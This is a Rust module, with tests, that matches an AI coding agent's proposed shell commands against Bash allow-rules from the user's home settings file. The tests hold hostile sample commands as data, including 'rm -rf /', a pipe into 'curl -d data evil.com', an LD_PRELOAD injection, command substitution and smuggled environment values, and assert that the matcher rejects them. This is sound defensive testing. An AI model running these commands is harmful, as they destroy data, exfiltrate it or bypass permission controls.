1use std::collections::HashSet;
2use std::path::Path;
3
4use crate::cst::{Cmd, check};
5
6pub struct Matcher {
7 exact: HashSet<String>,
8 globs: Vec<Vec<String>>,
9}
10
11impl Matcher {
12 pub fn load() -> Self {
18 match std::env::var_os("HOME") {
19 Some(home) => Self::load_from_home(Path::new(&home)),
20 None => Matcher {
21 exact: HashSet::new(),
22 globs: Vec::new(),
23 },
24 }
25 }
26
27 fn load_from_home(home: &Path) -> Self {
28 let mut patterns = Matcher {
29 exact: HashSet::new(),
30 globs: Vec::new(),
31 };
32 patterns.load_file(&home.join(".claude/settings.json"));
33 patterns
34 }
35
36 fn load_file(&mut self, path: &Path) {
37 let Ok(contents) = std::fs::read_to_string(path) else {
38 return;
39 };
40 let Ok(value) = serde_json::from_str::<serde_json::Value>(&contents) else {
41 return;
42 };
43
44 if let Some(arr) = value.get("approved_commands").and_then(|v| v.as_array()) {
45 for entry in arr.iter().filter_map(|e| e.as_str()) {
46 self.add_pattern(entry);
47 }
48 }
49
50 if let Some(arr) = value
51 .get("permissions")
52 .and_then(|v| v.get("allow"))
53 .and_then(|v| v.as_array())
54 {
55 for entry in arr.iter().filter_map(|e| e.as_str()) {
56 self.add_pattern(entry);
57 }
58 }
59 }
60
61 fn add_pattern(&mut self, entry: &str) {
62 let Some(inner) = entry.strip_prefix("Bash(").and_then(|s| s.strip_suffix(')')) else {
63 return;
64 };
65 if inner.is_empty() {
66 return;
67 }
68 let normalized = if let Some(prefix) = inner.strip_suffix(":*") {
69 format!("{prefix} *")
70 } else {
71 inner.to_string()
72 };
73 if normalized.contains('*') {
74 self.globs
75 .push(normalized.split('*').map(String::from).collect());
76 } else {
77 self.exact.insert(normalized);
78 }
79 }
80
81 pub fn matches_cmd(&self, cmd: &Cmd) -> bool {
82 let Cmd::Simple(simple) = cmd else {
83 return false;
84 };
85 let Some(normalized) = check::normalize_for_matching(simple) else {
88 return false;
89 };
90 let normalized = normalized.trim();
91 if normalized.is_empty() {
92 return false;
93 }
94 if self.exact.contains(normalized) {
95 return true;
96 }
97 self.globs
98 .iter()
99 .any(|parts| glob_matches(parts, normalized))
100 }
101
102 pub fn is_empty(&self) -> bool {
103 self.exact.is_empty() && self.globs.is_empty()
104 }
105
106 #[cfg(test)]
107 pub(crate) fn from_allow_patterns(patterns: &[&str]) -> Self {
108 let mut m = Matcher {
109 exact: HashSet::new(),
110 globs: Vec::new(),
111 };
112 for p in patterns {
113 m.add_pattern(&format!("Bash({p})"));
114 }
115 m
116 }
117}
118
119pub fn is_cmd_covered(cmd: &Cmd, patterns: &Matcher) -> bool {
120 match cmd {
121 Cmd::Simple(_) => {
122 check::is_safe_cmd(cmd)
123 || (!check::has_unsafe_syntax(cmd) && patterns.matches_cmd(cmd))
124 }
125 _ => check::is_safe_cmd(cmd),
126 }
127}
128
129fn glob_matches(parts: &[String], text: &str) -> bool {
130 let first = &parts[0];
131 let last = &parts[parts.len() - 1];
132
133 if parts.len() == 2 && last.is_empty() && first.ends_with(' ') {
134 let prefix = &first[..first.len() - 1];
135 return text == prefix || text.starts_with(first.as_str());
136 }
137
138 if !text.starts_with(first.as_str()) {
139 return false;
140 }
141 if !text.ends_with(last.as_str()) {
142 return false;
143 }
144 let mut pos = first.len();
145 let end = text.len() - last.len();
146 if pos > end {
147 return false;
148 }
149 for part in &parts[1..parts.len() - 1] {
150 match text[pos..end].find(part.as_str()) {
151 Some(idx) => pos += idx + part.len(),
152 None => return false,
153 }
154 }
155 pos <= end
156}
157
158#[cfg(test)]
159mod tests {
160 use super::*;
161 use std::fs;
162
163 use crate::cst;
164
165 fn empty() -> Matcher {
166 Matcher {
167 exact: HashSet::new(),
168 globs: Vec::new(),
169 }
170 }
171
172 fn cmd(s: &str) -> Cmd {
173 let script = cst::parse(s).unwrap_or_else(|| panic!("failed to parse: {s}"));
174 assert_eq!(script.0.len(), 1, "expected single statement: {s}");
175 assert_eq!(
176 script.0[0].pipeline.commands.len(),
177 1,
178 "expected single command: {s}"
179 );
180 script.0[0].pipeline.commands[0].clone()
181 }
182
183 fn segments(command: &str) -> Vec<Cmd> {
184 let script = cst::parse(command).unwrap_or_else(|| panic!("failed to parse: {command}"));
185 script
186 .0
187 .into_iter()
188 .flat_map(|stmt| stmt.pipeline.commands)
189 .collect()
190 }
191
192 fn is_covered(cmd: &Cmd, patterns: &Matcher) -> bool {
193 is_cmd_covered(cmd, patterns)
194 }
195
196 fn all_covered(command: &str, patterns: &Matcher) -> bool {
197 let Some(script) = cst::parse(command) else {
198 return false;
199 };
200 script.0.iter().all(|stmt| {
201 check::is_safe_pipeline(&stmt.pipeline)
202 || stmt
203 .pipeline
204 .commands
205 .iter()
206 .all(|c| is_cmd_covered(c, patterns))
207 })
208 }
209
210 #[test]
211 fn parse_exact_pattern() {
212 let mut p = empty();
213 p.add_pattern("Bash(npm test)");
214 assert!(p.exact.contains("npm test"));
215 assert!(p.globs.is_empty());
216 }
217
218 #[test]
219 fn parse_legacy_colon_star() {
220 let mut p = empty();
221 p.add_pattern("Bash(npm run:*)");
222 assert!(p.exact.is_empty());
223 assert_eq!(p.globs.len(), 1);
224 }
225
226 #[test]
227 fn parse_space_star() {
228 let mut p = empty();
229 p.add_pattern("Bash(npm run *)");
230 assert!(p.exact.is_empty());
231 assert_eq!(p.globs.len(), 1);
232 }
233
234 #[test]
235 fn parse_non_bash_skipped() {
236 let mut p = empty();
237 p.add_pattern("WebFetch");
238 p.add_pattern("XcodeBuildMCP");
239 assert!(p.is_empty());
240 }
241
242 #[test]
243 fn parse_empty_bash_skipped() {
244 let mut p = empty();
245 p.add_pattern("Bash()");
246 assert!(p.is_empty());
247 }
248
249 #[test]
250 fn match_exact() {
251 let mut p = empty();
252 p.add_pattern("Bash(npm test)");
253 assert!(p.matches_cmd(&cmd("npm test")));
254 assert!(!p.matches_cmd(&cmd("npm test --watch")));
255 }
256
257 #[test]
258 fn match_space_star_word_boundary() {
259 let mut p = empty();
260 p.add_pattern("Bash(ls *)");
261 assert!(p.matches_cmd(&cmd("ls -la")));
262 assert!(p.matches_cmd(&cmd("ls foo")));
263 assert!(!p.matches_cmd(&cmd("lsof")));
264 }
265
266 #[test]
267 fn match_star_no_space_no_boundary() {
268 let mut p = empty();
269 p.add_pattern("Bash(ls*)");
270 assert!(p.matches_cmd(&cmd("ls -la")));
271 assert!(p.matches_cmd(&cmd("lsof")));
272 }
273
274 #[test]
275 fn match_legacy_colon_star_word_boundary() {
276 let mut p = empty();
277 p.add_pattern("Bash(npm run:*)");
278 assert!(p.matches_cmd(&cmd("npm run build")));
279 assert!(p.matches_cmd(&cmd("npm run test")));
280 assert!(!p.matches_cmd(&cmd("npm running")));
281 assert!(!p.matches_cmd(&cmd("npm install")));
282 }
283
284 #[test]
285 fn match_star_at_beginning() {
286 let mut p = empty();
287 p.add_pattern("Bash(* --version)");
288 assert!(p.matches_cmd(&cmd("npm --version")));
289 assert!(p.matches_cmd(&cmd("cargo --version")));
290 assert!(!p.matches_cmd(&cmd("npm --help")));
291 }
292
293 #[test]
294 fn match_star_in_middle() {
295 let mut p = empty();
296 p.add_pattern("Bash(git * main)");
297 assert!(p.matches_cmd(&cmd("git checkout main")));
298 assert!(p.matches_cmd(&cmd("git merge main")));
299 assert!(!p.matches_cmd(&cmd("git checkout develop")));
300 }
301
302 #[test]
316 fn match_env_prefix_is_not_stripped() {
317 let mut p = empty();
318 p.add_pattern("Bash(bundle install)");
319 assert!(!p.matches_cmd(&cmd("RACK_ENV=test bundle install")));
320 assert!(p.matches_cmd(&cmd("bundle install")));
321
322 let mut q = empty();
323 q.add_pattern("Bash(RACK_ENV=test bundle install)");
324 assert!(q.matches_cmd(&cmd("RACK_ENV=test bundle install")));
325 }
326
327 #[test]
328 fn match_fd_redirect_stripped() {
329 let mut p = empty();
330 p.add_pattern("Bash(npm test)");
331 assert!(p.matches_cmd(&cmd("npm test 2>&1")));
332 }
333
334 #[test]
335 fn match_fd_redirect_with_glob() {
336 let mut p = empty();
337 p.add_pattern("Bash(npm run *)");
338 assert!(p.matches_cmd(&cmd("npm run test 2>&1")));
339 }
340
341 #[test]
342 fn empty_patterns_match_nothing() {
343 let p = empty();
344 assert!(!p.matches_cmd(&cmd("anything")));
345 }
346
347 #[test]
348 fn match_bare_star_matches_everything() {
349 let mut p = empty();
350 p.add_pattern("Bash(*)");
351 assert!(p.matches_cmd(&cmd("anything at all")));
352 assert!(p.matches_cmd(&cmd("rm -rf /")));
353 }
354
355 #[test]
356 fn unsafe_syntax_not_bypassed_by_match() {
357 let mut p = empty();
358 p.add_pattern("Bash(./script.sh *)");
359 let c = cmd("./script.sh > /etc/passwd");
360 assert!(check::has_unsafe_syntax(&c));
361 assert!(!is_covered(&c, &p));
362 }
363
364 #[test]
365 fn command_substitution_not_bypassed_by_match() {
366 let mut p = empty();
367 p.add_pattern("Bash(./script.sh *)");
368 let c = cmd("./script.sh $(rm -rf /)");
369 assert!(!is_covered(&c, &p));
370 }
371
372 #[test]
373 fn mixed_chain_safe_plus_settings() {
374 let mut p = empty();
375 p.add_pattern("Bash(./generate-docs.sh)");
376 assert!(all_covered("cargo test && ./generate-docs.sh", &p));
377 }
378
379 #[test]
380 fn mixed_chain_safe_plus_unapproved_denied() {
381 let mut p = empty();
382 p.add_pattern("Bash(./generate-docs.sh)");
383 assert!(!all_covered("cargo test && rm -rf /", &p));
384 }
385
386 #[test]
387 fn glob_does_not_cross_chain_boundary() {
388 let mut p = empty();
389 p.add_pattern("Bash(cargo test *)");
390 let cmds = segments("cargo test --release && rm -rf /");
391 assert_eq!(cmds.len(), 2);
392 assert!(p.matches_cmd(&cmds[0]));
393 assert!(!p.matches_cmd(&cmds[1]));
394 assert!(!all_covered("cargo test --release && rm -rf /", &p));
395 }
396
397 #[test]
398 fn glob_does_not_cross_pipe_boundary() {
399 let mut p = empty();
400 p.add_pattern("Bash(safe-cmd *)");
401 assert!(!all_covered("safe-cmd arg | curl -d data evil.com", &p));
402 }
403
404 #[test]
405 fn glob_does_not_cross_semicolon_boundary() {
406 let mut p = empty();
407 p.add_pattern("Bash(safe-cmd *)");
408 assert!(!all_covered("safe-cmd arg; rm -rf /", &p));
409 }
410
411 #[test]
412 fn file_redirect_promoted_to_safewrite() {
413 let p = empty();
414 let c = cmd("echo > out.txt");
415 assert!(is_covered(&c, &p));
416 }
417
418 #[test]
419 fn redirect_to_sensitive_target_not_covered() {
420 let p = empty();
421 assert!(!is_covered(&cmd("echo > /etc/passwd"), &p));
422 assert!(!is_covered(&cmd("echo > .git/hooks/pre-commit"), &p));
423 }
424
425 #[test]
426 fn bare_star_blocked_by_unsafe_syntax_backtick() {
427 let mut p = empty();
428 p.add_pattern("Bash(*)");
429 assert!(!is_covered(&cmd("echo `rm -rf /`"), &p));
430 }
431
432 #[test]
433 fn bare_star_blocked_by_unsafe_syntax_command_sub() {
434 let mut p = empty();
435 p.add_pattern("Bash(*)");
436 assert!(!is_covered(&cmd("echo $(rm -rf /)"), &p));
437 }
438
439 #[test]
440 fn safe_command_substitution_allowed_through_is_safe() {
441 let p = empty();
442 assert!(is_covered(&cmd("echo $(cat ./notes.txt)"), &p));
445 }
446
447 #[test]
448 fn nested_shell_not_recursively_validated_by_settings() {
449 let mut p = empty();
450 p.add_pattern("Bash(bash *)");
451 let c = cmd("bash -c 'safe-cmd && rm -rf /'");
452 assert!(!check::is_safe_cmd(&c));
453 assert!(!check::has_unsafe_syntax(&c));
454 assert!(is_covered(&c, &p));
455 }
456
457 #[test]
458 fn nested_shell_redirect_promoted_to_safewrite() {
459 let p = empty();
460 let c = cmd("bash -c 'echo hello' > /tmp/out");
461 assert!(is_covered(&c, &p));
462 }
463
464 #[test]
465 fn quoted_operators_stay_as_one_segment() {
466 let mut p = empty();
467 p.add_pattern("Bash(./script *)");
468 assert!(all_covered("./script 'arg && rm -rf /'", &p));
469 }
470
471 #[test]
472 fn load_from_home_reads_home_settings() {
473 let home = tempfile::tempdir().unwrap();
474 let claude_dir = home.path().join(".claude");
475 fs::create_dir_all(&claude_dir).unwrap();
476 fs::write(
477 claude_dir.join("settings.json"),
478 r#"{"permissions":{"allow":["Bash(./generate-docs.sh:*)"]}}"#,
479 )
480 .unwrap();
481 let p = Matcher::load_from_home(home.path());
482 assert!(p.matches_cmd(&cmd("./generate-docs.sh")));
483 assert!(p.matches_cmd(&cmd("./generate-docs.sh --verbose")));
484 assert!(!p.matches_cmd(&cmd("./evil.sh")));
485 }
486
487 #[test]
488 fn load_from_home_ignores_project_settings() {
489 let home = tempfile::tempdir().unwrap();
493 let project = tempfile::tempdir().unwrap();
494 let project_claude = project.path().join(".claude");
495 fs::create_dir_all(&project_claude).unwrap();
496 fs::write(
497 project_claude.join("settings.json"),
498 r#"{"permissions":{"allow":["Bash(rm -rf *)"]}}"#,
499 )
500 .unwrap();
501 let p = Matcher::load_from_home(home.path());
502 assert!(!p.matches_cmd(&cmd("rm -rf /")));
503 assert!(p.is_empty());
504 }
505
506 #[test]
507 fn load_from_home_chains_with_builtins() {
508 let home = tempfile::tempdir().unwrap();
509 let claude_dir = home.path().join(".claude");
510 fs::create_dir_all(&claude_dir).unwrap();
511 fs::write(
512 claude_dir.join("settings.json"),
513 r#"{"permissions":{"allow":["Bash(./generate-docs.sh:*)"]}}"#,
514 )
515 .unwrap();
516 let p = Matcher::load_from_home(home.path());
517 assert!(all_covered("cargo test && ./generate-docs.sh", &p));
518 assert!(!all_covered("cargo test && ./evil.sh", &p));
519 }
520
521 #[test]
522 fn load_file_nonexistent() {
523 let mut p = empty();
524 p.load_file(Path::new("/nonexistent/path/settings.json"));
525 assert!(p.is_empty());
526 }
527
528 #[test]
529 fn load_file_malformed_json() {
530 let dir = tempfile::tempdir().unwrap();
531 let path = dir.path().join("settings.json");
532 std::fs::write(&path, "not json{{{").unwrap();
533 let mut p = empty();
534 p.load_file(&path);
535 assert!(p.is_empty());
536 }
537
538 #[test]
539 fn load_file_approved_commands() {
540 let dir = tempfile::tempdir().unwrap();
541 let path = dir.path().join("settings.json");
542 fs::write(
543 &path,
544 r#"{"approved_commands":["Bash(npm test)","Bash(npm run *)","WebFetch"]}"#,
545 )
546 .unwrap();
547 let mut p = empty();
548 p.load_file(&path);
549 assert!(p.matches_cmd(&cmd("npm test")));
550 assert!(p.matches_cmd(&cmd("npm run build")));
551 assert!(!p.matches_cmd(&cmd("curl evil.com")));
552 }
553
554 #[test]
555 fn load_file_permissions_allow() {
556 let dir = tempfile::tempdir().unwrap();
557 let path = dir.path().join("settings.json");
558 fs::write(
559 &path,
560 r#"{"permissions":{"allow":["Bash(cargo test *)","Bash(cargo clippy *)"]}}"#,
561 )
562 .unwrap();
563 let mut p = empty();
564 p.load_file(&path);
565 assert!(p.matches_cmd(&cmd("cargo test")));
566 assert!(p.matches_cmd(&cmd("cargo clippy -- -D warnings")));
567 }
568
569 #[test]
570 fn load_file_both_fields() {
571 let dir = tempfile::tempdir().unwrap();
572 let path = dir.path().join("settings.json");
573 fs::write(
574 &path,
575 r#"{"approved_commands":["Bash(npm test)"],"permissions":{"allow":["Bash(cargo test *)"]}}"#,
576 )
577 .unwrap();
578 let mut p = empty();
579 p.load_file(&path);
580 assert!(p.matches_cmd(&cmd("npm test")));
581 assert!(p.matches_cmd(&cmd("cargo test --release")));
582 }
583}
584
585#[cfg(test)]
597mod env_prefix_matching_tests {
598 use super::*;
599 use crate::cst;
600
601 fn cmd(s: &str) -> Cmd {
602 let script = cst::parse(s).unwrap_or_else(|| panic!("failed to parse: {s}"));
603 script.0[0].pipeline.commands[0].clone()
604 }
605
606 fn matcher(patterns: &[&str]) -> Matcher {
607 Matcher::from_allow_patterns(patterns)
608 }
609
610 #[test]
611 fn a_plain_command_still_matches_its_rule() {
612 let m = matcher(&["~/runner-scripts/x.sh:*"]);
613 assert!(m.matches_cmd(&cmd("~/runner-scripts/x.sh")));
614 assert!(m.matches_cmd(&cmd("~/runner-scripts/x.sh --dry-run")));
615 }
616
617 #[test]
618 fn an_env_prefix_does_not_match_a_rule_without_one() {
619 let m = matcher(&["~/runner-scripts/x.sh:*"]);
620 for c in [
621 "WRITE=1 ~/runner-scripts/x.sh",
622 "WRITE=1 ~/runner-scripts/x.sh --project p",
623 "PROJECT=p ~/runner-scripts/x.sh",
624 "LD_PRELOAD=/tmp/evil.so ~/runner-scripts/x.sh",
625 ] {
626 assert!(!m.matches_cmd(&cmd(c)), "rule without env matched: {c}");
627 }
628 }
629
630 #[test]
631 fn a_rule_that_declares_the_env_prefix_matches_it() {
632 let m = matcher(&["WRITE=1 ~/runner-scripts/x.sh:*", "~/runner-scripts/x.sh:*"]);
634 assert!(m.matches_cmd(&cmd("WRITE=1 ~/runner-scripts/x.sh")));
635 assert!(m.matches_cmd(&cmd("WRITE=1 ~/runner-scripts/x.sh --force")));
636 assert!(m.matches_cmd(&cmd("~/runner-scripts/x.sh")));
637 assert!(!m.matches_cmd(&cmd("WRITE=0 ~/runner-scripts/x.sh")));
639 assert!(!m.matches_cmd(&cmd("DEBUG=1 ~/runner-scripts/x.sh")));
640 }
641
642 #[test]
643 fn every_assignment_must_be_accounted_for() {
644 let m = matcher(&["A=1 tool:*"]);
645 assert!(m.matches_cmd(&cmd("A=1 tool")));
646 assert!(!m.matches_cmd(&cmd("A=1 B=2 tool")));
648 assert!(!m.matches_cmd(&cmd("B=2 A=1 tool")));
649 }
650
651 #[test]
652 fn an_exact_rule_behaves_the_same_as_a_glob_rule() {
653 let exact = matcher(&["tool run"]);
654 assert!(exact.matches_cmd(&cmd("tool run")));
655 assert!(!exact.matches_cmd(&cmd("WRITE=1 tool run")));
656 }
657
658 #[test]
664 fn a_value_containing_whitespace_matches_no_rule() {
665 let m = matcher(&["WRITE=1 ~/runner-scripts/x.sh:*"]);
666 assert!(m.matches_cmd(&cmd("WRITE=1 ~/runner-scripts/x.sh --force")));
667 assert!(
668 !m.matches_cmd(&cmd("WRITE='1 ~/runner-scripts/x.sh' rm -rf /")),
669 "a spaced value smuggled the pattern and matched a different program",
670 );
671
672 let n = matcher(&["FOO=bar baz ls"]);
674 assert!(n.matches_cmd(&cmd("FOO=bar baz ls"))); assert!(!n.matches_cmd(&cmd("FOO='bar baz' ls"))); }
677
678 #[test]
682 fn a_quoted_word_still_matches() {
683 let m = matcher(&["git commit -m:*"]);
684 assert!(m.matches_cmd(&cmd("git commit -m 'a message with spaces'")));
685 }
686
687 #[test]
691 fn prepending_any_assignment_breaks_a_match_the_rule_does_not_declare() {
692 let rules = ["tool", "tool:*", "tool sub", "tool sub:*", "~/runner-scripts/x.sh:*"];
693 let commands = ["tool", "tool sub", "tool sub --flag", "~/runner-scripts/x.sh --flag"];
694 let assignments = ["WRITE=1", "PROJECT=p", "LD_PRELOAD=/tmp/e.so", "A=1"];
695
696 let mut checked = 0;
697 for rule in rules {
698 let m = matcher(&[rule]);
699 for c in commands {
700 if !m.matches_cmd(&cmd(c)) {
701 continue; }
703 for a in assignments {
704 let prefixed = format!("{a} {c}");
705 assert!(
706 !m.matches_cmd(&cmd(&prefixed)),
707 "rule `{rule}` matched `{prefixed}` without declaring `{a}`",
708 );
709 checked += 1;
710 }
711 }
712 }
713 assert!(checked > 0, "no rule/command pair matched — the property would be vacuous");
714 }
715}